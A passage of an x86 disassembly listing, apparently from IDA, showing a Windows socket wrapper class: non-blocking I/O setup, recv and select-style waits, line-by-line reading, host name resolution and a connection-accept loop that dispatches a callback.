loc_41A91B:				; CODE XREF: sub_41A8C0+F6j
		mov	eax, [esi+806h]
		mov	ecx, 1
		mov	[esp+220h+var_100], eax
		mov	[esp+220h+var_104], ecx
		mov	[esp+220h+var_204], eax
		mov	[esp+220h+var_208], ecx
		mov	[esp+220h+var_210], 0
		mov	[esp+220h+var_20C], 64h
		call	edi
		sub	eax, ebp
		cmp	eax, ebx
		ja	loc_41AA24
		lea	eax, [esp+220h+var_210]
		lea	ecx, [esp+220h+var_208]
		push	eax
		mov	eax, [esi+806h]
		push	ecx
		lea	edx, [esp+228h+var_104]
		push	0
		inc	eax
		push	edx
		push	eax
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jz	short loc_41A9AF
		mov	edx, [esi+806h]
		lea	ecx, [esp+220h+var_208]
		push	ecx
		push	edx
		call	sub_436F60
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	loc_41AA24
		mov	ecx, [esi+806h]
		lea	eax, [esp+220h+var_104]
		push	eax
		push	ecx
		call	sub_436F60
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41A9BC


loc_41A9AF:				; CODE XREF: sub_41A8C0+BCj
		call	sub_40195B
		test	al, al
		jnz	loc_41A91B


loc_41A9BC:				; CODE XREF: sub_41A8C0+39j
					; sub_41A8C0+48j ...
		call	sub_40195B
		test	al, al
		jz	short loc_41AA24
		mov	edx, [esp+220h+arg_4]
		mov	eax, [esp+220h+arg_0]
		mov	ecx, [esi+806h]
		push	0
		push	edx
		push	eax
		push	ecx
		nop
		call	near ptr 71AB615Ah
		mov	ecx, [esp+220h+arg_C]
		test	ecx, ecx
		jz	short loc_41A9F1
		mov	[ecx], eax


loc_41A9F1:				; CODE XREF: sub_41A8C0+12Dj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41AA09
		test	eax, eax
		jz	short loc_41AA09
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 210h
		retn	10h
; ---------------------------------------------------------------------------


loc_41AA09:				; CODE XREF: sub_41A8C0+134j
					; sub_41A8C0+138j
		call	near ptr 71AB94DCh
		nop
		pop	edi
		cmp	eax, 2733h
		pop	esi
		pop	ebp
		setz	al
		pop	ebx
		add	esp, 210h
		retn	10h
; ---------------------------------------------------------------------------


loc_41AA24:				; CODE XREF: sub_41A8C0+13j
					; sub_41A8C0+21j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 210h
		retn	10h
sub_41A8C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AAA0:				; CODE XREF: ___:00401618j
		mov	eax, [ecx+806h]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41AAF1
		mov	dl, [ecx+80Bh]
		test	dl, dl
		jz	short loc_41AAF1
		mov	ecx, [esp+8]
		mov	edx, [esp+4]
		push	0
		push	ecx
		push	edx
		push	eax
		call	near ptr 71AB428Ah
		nop
		mov	ecx, [esp+0Ch]
		test	ecx, ecx
		jz	short loc_41AAD2
		mov	[ecx], eax


loc_41AAD2:				; CODE XREF: ___:0041AACEj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41AAE0
		test	eax, eax
		jz	short loc_41AAE0
		mov	al, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41AAE0:				; CODE XREF: ___:0041AAD5j
					; ___:0041AAD9j
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		setz	al
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41AAF1:				; CODE XREF: ___:0041AAA9j
					; ___:0041AAB3j
		xor	al, al
		retn	0Ch
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AB20:				; CODE XREF: ___:004019B0j
		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+10h], esi
		call	sub_40195B
		test	al, al
		jnz	short loc_41AB3C
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AB3C:				; CODE XREF: ___:0041AB32j
		mov	al, [esi+80Bh]
		xor	ebx, ebx
		cmp	al, bl
		jnz	short loc_41AB52


loc_41AB48:				; CODE XREF: ___:0041AB8Dj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AB52:				; CODE XREF: ___:0041AB46j
		mov	eax, [esp+1Ch]
		mov	ebp, [esp+18h]
		xor	esi, esi
		dec	eax
		cmp	eax, ebx
		mov	[ebp+0], bl
		mov	byte ptr [esp+18h], 1
		jle	short loc_41ABB6
		mov	edi, ebp


loc_41AB6B:				; CODE XREF: ___:0041ABB4j
		cmp	edi, ebx
		jz	short loc_41ABB6
		cmp	[esp+18h], bl
		jz	short loc_41ABB6
		call	sub_40195B
		test	al, al
		jz	short loc_41ABB6
		mov	ecx, [esp+10h]
		push	ebx
		push	1
		push	edi
		call	sub_401960
		test	al, al
		jz	short loc_41AB48
		mov	[esi+ebp+1], bl
		mov	al, [edi]
		cmp	al, 0Ah
		jz	short loc_41ABA1
		cmp	al, 0Dh
		jz	short loc_41ABA1
		cmp	al, bl
		jnz	short loc_41ABA9


loc_41ABA1:				; CODE XREF: ___:0041AB97j
					; ___:0041AB9Bj
		mov	[esi+ebp-1], bl
		mov	[esp+18h], bl


loc_41ABA9:				; CODE XREF: ___:0041AB9Fj
		mov	ecx, [esp+1Ch]
		inc	esi
		inc	edi
		lea	eax, [ecx-1]
		cmp	esi, eax
		jl	short loc_41AB6B


loc_41ABB6:				; CODE XREF: ___:0041AB67j
					; ___:0041AB6Dj ...
		mov	edx, [esp+1Ch]
		pop	edi
		pop	esi
		mov	al, 1
		mov	[edx+ebp-1], bl
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AC00:				; CODE XREF: ___:00402180j
		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+10h], esi
		call	sub_40195B
		test	al, al
		jnz	short loc_41AC1C
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AC1C:				; CODE XREF: ___:0041AC12j
		mov	al, [esi+80Bh]
		xor	ebx, ebx
		cmp	al, bl
		jnz	short loc_41AC32


loc_41AC28:				; CODE XREF: ___:0041AC6Dj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------


loc_41AC32:				; CODE XREF: ___:0041AC26j
		mov	eax, [esp+1Ch]
		mov	ebp, [esp+18h]
		xor	esi, esi
		dec	eax
		cmp	eax, ebx
		mov	[ebp+0], bl
		mov	byte ptr [esp+18h], 1
		jle	short loc_41AC9D
		mov	edi, ebp


loc_41AC4B:				; CODE XREF: ___:0041AC9Bj
		cmp	edi, ebx
		jz	short loc_41AC9D
		cmp	[esp+18h], bl
		jz	short loc_41AC9D
		call	sub_40195B
		test	al, al
		jz	short loc_41AC9D
		mov	ecx, [esp+10h]
		push	ebx
		push	1
		push	edi
		call	sub_401960
		test	al, al
		jz	short loc_41AC28
		mov	[esi+ebp+1], bl
		mov	al, [edi]
		cmp	al, 0Ah
		jz	short loc_41AC7D
		cmp	al, bl
		jnz	short loc_41AC90


loc_41AC7D:				; CODE XREF: ___:0041AC77j
		cmp	byte ptr [esi+ebp-1], 0Dh
		jnz	short loc_41AC8A
		mov	[esi+ebp-1], bl
		jmp	short loc_41AC8C
; ---------------------------------------------------------------------------


loc_41AC8A:				; CODE XREF: ___:0041AC82j
		mov	[edi], bl


loc_41AC8C:				; CODE XREF: ___:0041AC88j
		mov	[esp+18h], bl


loc_41AC90:				; CODE XREF: ___:0041AC7Bj
		mov	ecx, [esp+1Ch]
		inc	esi
		inc	edi
		lea	eax, [ecx-1]
		cmp	esi, eax
		jl	short loc_41AC4B


loc_41AC9D:				; CODE XREF: ___:0041AC47j
					; ___:0041AC4Dj ...
		mov	edx, [esp+1Ch]
		pop	edi
		pop	esi
		mov	al, 1
		mov	[edx+ebp-1], bl
		pop	ebp
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41ACE0:				; CODE XREF: ___:00401082j
		push	esi
		mov	esi, ecx
		call	sub_40195B
		test	al, al
		jnz	short loc_41ACF2
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41ACF2:				; CODE XREF: ___:0041ACEAj
		mov	eax, [esi+806h]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41AD03
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41AD03:				; CODE XREF: ___:0041ACFBj
		mov	ecx, [esp+0Ch]
		mov	edx, [esp+8]
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AB951Eh
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41AD30	proc near		; CODE XREF: sub_401893j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		call	sub_40195B
		test	al, al
		jnz	short loc_41AD42
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41AD42:				; CODE XREF: sub_41AD30+Aj
		mov	eax, [esi+806h]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41AD53
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_41AD53:				; CODE XREF: sub_41AD30+1Bj
		mov	ecx, [esp+4+arg_4]
		mov	edx, [esp+4+arg_0]
		push	ecx
		push	edx
		push	eax
		call	near ptr 71AC0B50h
		nop
		pop	esi
		retn	8
sub_41AD30	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AD80:				; CODE XREF: ___:00401C3Fj
		sub	esp, 10Ch
		push	esi
		mov	esi, ecx
		xor	ecx, ecx
		mov	al, [esi+80Ch]
		cmp	al, cl
		mov	eax, [esi+806h]
		jnz	short loc_41ADBF
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41ADB5
		cmp	[esi+80Bh], cl
		jz	short loc_41ADB5
		mov	eax, 1
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41ADB5:				; CODE XREF: ___:0041AD9Ej
					; ___:0041ADA6j
		xor	eax, eax
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41ADBF:				; CODE XREF: ___:0041AD99j
		lea	edx, [esp+4]
		mov	[esp+10h], eax
		push	edx
		lea	edx, [esp+10h]
		push	ecx
		push	edx
		inc	eax
		push	ecx
		push	eax
		mov	dword ptr [esp+20h], 1
		mov	[esp+18h], ecx
		mov	[esp+1Ch], ecx
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jnz	short loc_41ADF5
		xor	al, al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41ADF5:				; CODE XREF: ___:0041ADE9j
		mov	ecx, [esi+806h]
		lea	eax, [esp+0Ch]
		push	eax
		push	ecx
		call	sub_436F60
; ---------------------------------------------------------------------------
		test	eax, eax
		setnz	al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AE50:				; CODE XREF: ___:004016E5j
		sub	esp, 10Ch
		push	esi
		mov	esi, ecx
		xor	ecx, ecx
		cmp	[esi+80Ch], cl
		jnz	short loc_41AE6D
		xor	al, al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AE6D:				; CODE XREF: ___:0041AE61j
		mov	eax, [esi+806h]
		lea	edx, [esp+4]
		push	edx
		lea	edx, [esp+10h]
		mov	[esp+14h], eax
		push	edx
		push	ecx
		inc	eax
		push	ecx
		push	eax
		mov	dword ptr [esp+20h], 1
		mov	[esp+18h], ecx
		mov	[esp+1Ch], ecx
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jnz	short loc_41AEA9
		xor	al, al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_41AEA9:				; CODE XREF: ___:0041AE9Dj
		mov	ecx, [esi+806h]
		lea	eax, [esp+0Ch]
		push	eax
		push	ecx
		call	sub_436F60
; ---------------------------------------------------------------------------
		test	eax, eax
		setnz	al
		pop	esi
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41AEF0:				; CODE XREF: ___:0040173Aj
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, ecx
		push	800h
		lea	edx, [esi+6]
		mov	ax, [edi+4]
		lea	ecx, [edi+6]
		push	ecx
		push	edx
		mov	[esi+4], ax
		call	near ptr 77C47A90h
		nop
		xor	al, al
		add	esp, 0Ch
		mov	dword ptr [esi+806h], 0FFFFFFFFh
		mov	[esi+80Ch], al
		mov	[esi+80Bh], al
		mov	al, [edi+80Dh]
		mov	[esi+80Dh], al
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41AF60	proc near		; CODE XREF: sub_4018BBj

arg_0		= dword	ptr  4

		mov	al, byte ptr [esp+arg_0]
		test	al, al
		mov	[ecx+80Ch], al
		jz	short loc_41AF90
		mov	ecx, [ecx+806h]
		lea	eax, [esp+arg_0]
		push	eax
		push	8004667Eh
		push	ecx
		mov	[esp+0Ch+arg_0], 1
		nop
		call	near ptr 71AB4519h
		retn	4
; ---------------------------------------------------------------------------


loc_41AF90:				; CODE XREF: sub_41AF60+Cj
		mov	eax, [ecx+806h]
		lea	edx, [esp+arg_0]
		push	edx
		push	8004667Eh
		push	eax
		mov	[esp+0Ch+arg_0], 0
		nop
		call	near ptr 71AB4519h
		retn	4
sub_41AF60	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41AFE0	proc near		; CODE XREF: sub_401186j
		push	esi
		mov	esi, ecx
		push	0
		lea	ecx, [esi+4]
		call	sub_401C35
		mov	dword ptr [esi], offset	off_43E0C0
		mov	eax, esi
		pop	esi
		retn
sub_41AFE0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B010	proc near		; CODE XREF: ___:00401915j sub_401E74j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_40186B
		test	[esp+4+arg_0], 1
		jz	short loc_41B028
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41B028:				; CODE XREF: sub_41B010+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41B010	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B040	proc near		; CODE XREF: sub_40186Bj
		mov	dword ptr [ecx], offset	off_43E0C0
		add	ecx, 4
		jmp	sub_401FC8
sub_41B040	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B060	proc near		; CODE XREF: sub_401636j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	sub_40195B
		test	al, al
		jnz	short loc_41B072
		pop	edi
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_41B072:				; CODE XREF: sub_41B060+9j
		mov	esi, [esp+8+arg_0]
		push	esi
		nop
		call	near ptr 71AB2BF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41B0C5
		push	esi
		nop
		call	near ptr 71AB4FD4h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_41B097
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_41B097:				; CODE XREF: sub_41B060+2Dj
		mov	eax, [edi+0Ch]
		xor	esi, esi
		cmp	dword ptr [eax], 0
		jz	short loc_41B0AC


loc_41B0A1:				; CODE XREF: sub_41B060+4Aj
		mov	ecx, [eax+4]
		add	eax, 4
		inc	esi
		test	ecx, ecx
		jnz	short loc_41B0A1


loc_41B0AC:				; CODE XREF: sub_41B060+3Fj
		call	sub_401EEC
		dec	esi
		push	esi
		push	0
		call	sub_4021A3
; ---------------------------------------------------------------------------
		mov	ecx, [edi+0Ch]
		add	esp, 8
		mov	edx, [ecx+eax*4]
		mov	eax, [edx]


loc_41B0C5:				; CODE XREF: sub_41B060+20j
		pop	edi
		pop	esi
		retn	4
sub_41B060	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B0F0:				; CODE XREF: ___:00402095j
		push	0FFFFFFFFh
		push	offset loc_43AD07
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 38h
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	[esp+0Ch], ebx
		call	sub_40195B
		test	al, al
		jnz	short loc_41B12F
		mov	eax, [esp+58h]
		mov	esi, [esp+54h]
		push	eax
		mov	ecx, esi
		call	sub_401861
		jmp	loc_41B2DB
; ---------------------------------------------------------------------------


loc_41B12F:				; CODE XREF: ___:0041B118j
		mov	ecx, [esp+58h]
		push	ecx
		lea	ecx, [esp+30h]
		call	sub_401861
		mov	edi, 1
		lea	ecx, [esp+2Ch]
		mov	[esp+4Ch], edi
		call	sub_4017E4
		test	eax, eax
		push	offset byte_446F60
		jnz	short loc_41B16C
		mov	esi, [esp+58h]
		mov	ecx, esi
		call	sub_401861
		mov	[esp+0Ch], edi
		jmp	loc_41B2CE
; ---------------------------------------------------------------------------


loc_41B16C:				; CODE XREF: ___:0041B156j
		lea	ecx, [esp+30h]
		call	sub_4012EE
		test	eax, eax
		push	offset byte_446F60
		jnz	short loc_41B192
		mov	esi, [esp+58h]
		mov	ecx, esi
		call	sub_401861
		mov	[esp+0Ch], edi
		jmp	loc_41B2CE
; ---------------------------------------------------------------------------


loc_41B192:				; CODE XREF: ___:0041B17Cj
		lea	ecx, [esp+18h]
		call	sub_401861
		lea	edx, [esp+10h]
		push	ebx
		push	edx
		push	ebx
		push	ebx
		push	0Fh
		lea	ecx, [esp+40h]
		mov	byte ptr [esp+60h], 2
		call	sub_4017E4
		push	eax
		call	sub_436FC6
; ---------------------------------------------------------------------------
		cmp	eax, ebx
		jz	short loc_41B1D6
		mov	esi, [esp+54h]
		lea	eax, [esp+14h]
		push	eax
		mov	ecx, esi
		call	sub_4014C9
		mov	[esp+0Ch], edi
		jmp	loc_41B2C0
; ---------------------------------------------------------------------------


loc_41B1D6:				; CODE XREF: ___:0041B1BBj
		mov	edi, [esp+10h]
		mov	esi, offset dword_443DC4
		mov	ecx, [edi]
		mov	eax, [ecx+4]


loc_41B1E4:				; CODE XREF: ___:0041B202j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_41B208
		cmp	cl, bl
		jz	short loc_41B204
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_41B208
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_41B1E4


loc_41B204:				; CODE XREF: ___:0041B1EEj
		xor	eax, eax
		jmp	short loc_41B20D
; ---------------------------------------------------------------------------


loc_41B208:				; CODE XREF: ___:0041B1EAj
					; ___:0041B1F8j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41B20D:				; CODE XREF: ___:0041B206j
		cmp	eax, ebx
		jz	short loc_41B27B
		push	ebp


loc_41B212:				; CODE XREF: ___:0041B265j
					; ___:0041B269j
		nop
		call	near ptr 27D0802h
		and	eax, 0Fh
		cmp	al, 8
		jnz	short loc_41B226
		cmp	word ptr [edi+8], 0Fh
		jz	short loc_41B26B


loc_41B226:				; CODE XREF: ___:0041B21Dj
		mov	edi, [edi]
		mov	ebp, [esp+14h]
		cmp	edi, ebx
		jnz	short loc_41B232
		mov	edi, ebp


loc_41B232:				; CODE XREF: ___:0041B22Ej
		mov	eax, [edi+4]
		mov	esi, offset dword_443DC4


loc_41B23A:				; CODE XREF: ___:0041B258j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_41B25E
		cmp	cl, bl
		jz	short loc_41B25A
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_41B25E
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_41B23A


loc_41B25A:				; CODE XREF: ___:0041B244j
		xor	eax, eax
		jmp	short loc_41B263
; ---------------------------------------------------------------------------


loc_41B25E:				; CODE XREF: ___:0041B240j
					; ___:0041B24Ej
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41B263:				; CODE XREF: ___:0041B25Cj
		cmp	eax, ebx
		jnz	short loc_41B212
		mov	edi, ebp
		jmp	short loc_41B212
; ---------------------------------------------------------------------------


loc_41B26B:				; CODE XREF: ___:0041B224j
		mov	eax, [edi+18h]
		lea	ecx, [esp+18h]
		push	eax
		call	sub_4015D7
		pop	ebp
		jmp	short loc_41B288
; ---------------------------------------------------------------------------


loc_41B27B:				; CODE XREF: ___:0041B20Fj
		mov	ecx, [edi+18h]
		push	ecx
		lea	ecx, [esp+18h]
		call	sub_4015D7


loc_41B288:				; CODE XREF: ___:0041B279j
		push	offset byte_446F60
		lea	ecx, [esp+18h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_41B2A8
		mov	edx, [esp+58h]
		lea	ecx, [esp+14h]
		push	edx
		call	sub_4015D7


loc_41B2A8:				; CODE XREF: ___:0041B298j
		mov	esi, [esp+54h]
		lea	eax, [esp+14h]
		push	eax
		mov	ecx, esi
		call	sub_4014C9
		mov	dword ptr [esp+0Ch], 1


loc_41B2C0:				; CODE XREF: ___:0041B1D1j
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+4Ch], 1
		call	sub_401226


loc_41B2CE:				; CODE XREF: ___:0041B167j
					; ___:0041B18Dj
		lea	ecx, [esp+2Ch]
		mov	[esp+4Ch], bl
		call	sub_401226


loc_41B2DB:				; CODE XREF: ___:0041B12Aj
		mov	ecx, [esp+44h]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 44h
		retn	8
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B390:				; CODE XREF: ___:00402135j
		push	esi
		mov	esi, ecx
		call	sub_401E6A
		push	0
		lea	ecx, [esi+15h]
		call	sub_401C35
		mov	dword ptr [esi], offset	off_43E0C4
		mov	dword ptr [esi+11h], 0
		mov	dword ptr [esi+823h], 0
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B3D0	proc near		; CODE XREF: sub_4013FCj ___:00402018j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401BCC
		test	[esp+4+arg_0], 1
		jz	short loc_41B3E8
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41B3E8:				; CODE XREF: sub_41B3D0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41B3D0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B400	proc near		; CODE XREF: sub_401BCCj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41B400
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401FC8
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_402031
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41B400	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B470:				; CODE XREF: ___:00401D3Ej
		push	esi
		mov	esi, ecx
		call	sub_401E6A
		push	0
		lea	ecx, [esi+15h]
		call	sub_401C35
		mov	eax, [esp+8]
		mov	ecx, [esp+0Ch]
		mov	[esi+11h], eax
		mov	dword ptr [esi], offset	off_43E0C4
		mov	[esi+823h], ecx
		mov	eax, esi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B4B0	proc near		; CODE XREF: sub_40167Cj

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 14h
		push	edi
		mov	edi, ecx
		mov	eax, [edi+11h]
		test	eax, eax
		jz	loc_41B5C0
		mov	ecx, [edi+823h]
		test	ecx, ecx
		jz	loc_41B5C0
		push	ebx
		push	ebp
		lea	ebx, [edi+15h]
		push	esi
		push	eax
		mov	ecx, ebx
		xor	esi, esi
		call	sub_401488
		mov	ebp, dword_50F8D0
		test	al, al
		jnz	short loc_41B513


loc_41B4E9:				; CODE XREF: sub_41B4B0+61j
		mov	al, [edi+10h]
		test	al, al
		jz	loc_41B5AF
		mov	al, byte_4E6E74
		test	al, al
		jz	short loc_41B513
		push	7D0h
		call	ebp
		mov	eax, [edi+11h]
		mov	ecx, ebx
		push	eax
		call	sub_401488
		test	al, al
		jz	short loc_41B4E9


loc_41B513:				; CODE XREF: sub_41B4B0+37j
					; sub_41B4B0+4Bj
		mov	al, [edi+10h]
		test	al, al
		jz	loc_41B5AF


loc_41B51E:				; CODE XREF: sub_41B4B0+F9j
		mov	al, byte_4E6E74
		test	al, al
		jz	loc_41B5AF
		test	esi, esi
		jnz	short loc_41B54E
		push	80Eh
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jz	short loc_41B54A
		push	esi
		mov	ecx, eax
		call	sub_401C35
		jmp	short loc_41B54C
; ---------------------------------------------------------------------------


loc_41B54A:				; CODE XREF: sub_41B4B0+8Ej
		xor	eax, eax


loc_41B54C:				; CODE XREF: sub_41B4B0+98j
		mov	esi, eax


loc_41B54E:				; CODE XREF: sub_41B4B0+7Dj
		push	0
		push	0
		push	esi
		mov	ecx, ebx
		call	sub_401B81
		test	al, al
		jnz	short loc_41B567
		push	7D0h
		call	ebp
		jmp	short loc_41B5A4
; ---------------------------------------------------------------------------


loc_41B567:				; CODE XREF: sub_41B4B0+ACj
		xor	ecx, ecx
		lea	edx, [esp+24h+var_14]
		mov	[esp+24h+var_10], ecx
		lea	eax, [esp+24h+var_10]
		mov	[esp+24h+var_C], ecx
		push	edx
		mov	[esp+28h+var_8], ecx
		push	eax
		mov	[esp+2Ch+var_4], ecx
		mov	ecx, esi
		mov	[esp+2Ch+var_14], 10h
		call	sub_401893
		mov	al, byte ptr [esp+24h+var_C]
		test	al, al
		jz	short loc_41B5A4
		push	esi
		call	dword ptr [edi+823h]
		add	esp, 4


loc_41B5A4:				; CODE XREF: sub_41B4B0+B5j
					; sub_41B4B0+E8j
		mov	al, [edi+10h]
		test	al, al
		jnz	loc_41B51E


loc_41B5AF:				; CODE XREF: sub_41B4B0+3Ej
					; sub_41B4B0+68j ...
		mov	ecx, ebx
		call	sub_4014DD
		pop	esi
		pop	ebp
		pop	ebx
		xor	eax, eax
		pop	edi
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------


loc_41B5C0:				; CODE XREF: sub_41B4B0+Bj
					; sub_41B4B0+19j
		xor	eax, eax
		pop	edi
		add	esp, 14h
		retn
sub_41B4B0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B620:				; CODE XREF: ___:00401C21j
		mov	eax, [esp+0Ch]
		push	ebx
		push	ebp
		mov	ebp, [esp+10h]
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		dec	eax
		mov	[ebp+0], bl
		cmp	eax, ebx
		mov	byte ptr [esp+18h], 1
		jle	short loc_41B695
		mov	esi, ebp


loc_41B63F:				; CODE XREF: ___:0041B693j
		cmp	esi, ebx
		jz	short loc_41B695
		cmp	[esp+18h], bl
		jz	short loc_41B695
		mov	ecx, [esp+14h]
		push	ebx
		push	1
		push	esi
		push	ecx
		call	near ptr 71AB615Ah
		nop
		cmp	eax, ebx
		jz	short loc_41B6A4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B6A4
		call	near ptr 71AB94DCh
		nop
		cmp	eax, 2733h
		jz	short loc_41B69D
		mov	[edi+ebp+1], bl
		mov	al, [esi]
		cmp	al, 0Ah
		jz	short loc_41B680
		cmp	al, 0Dh
		jz	short loc_41B680
		cmp	al, bl
		jnz	short loc_41B688


loc_41B680:				; CODE XREF: ___:0041B676j
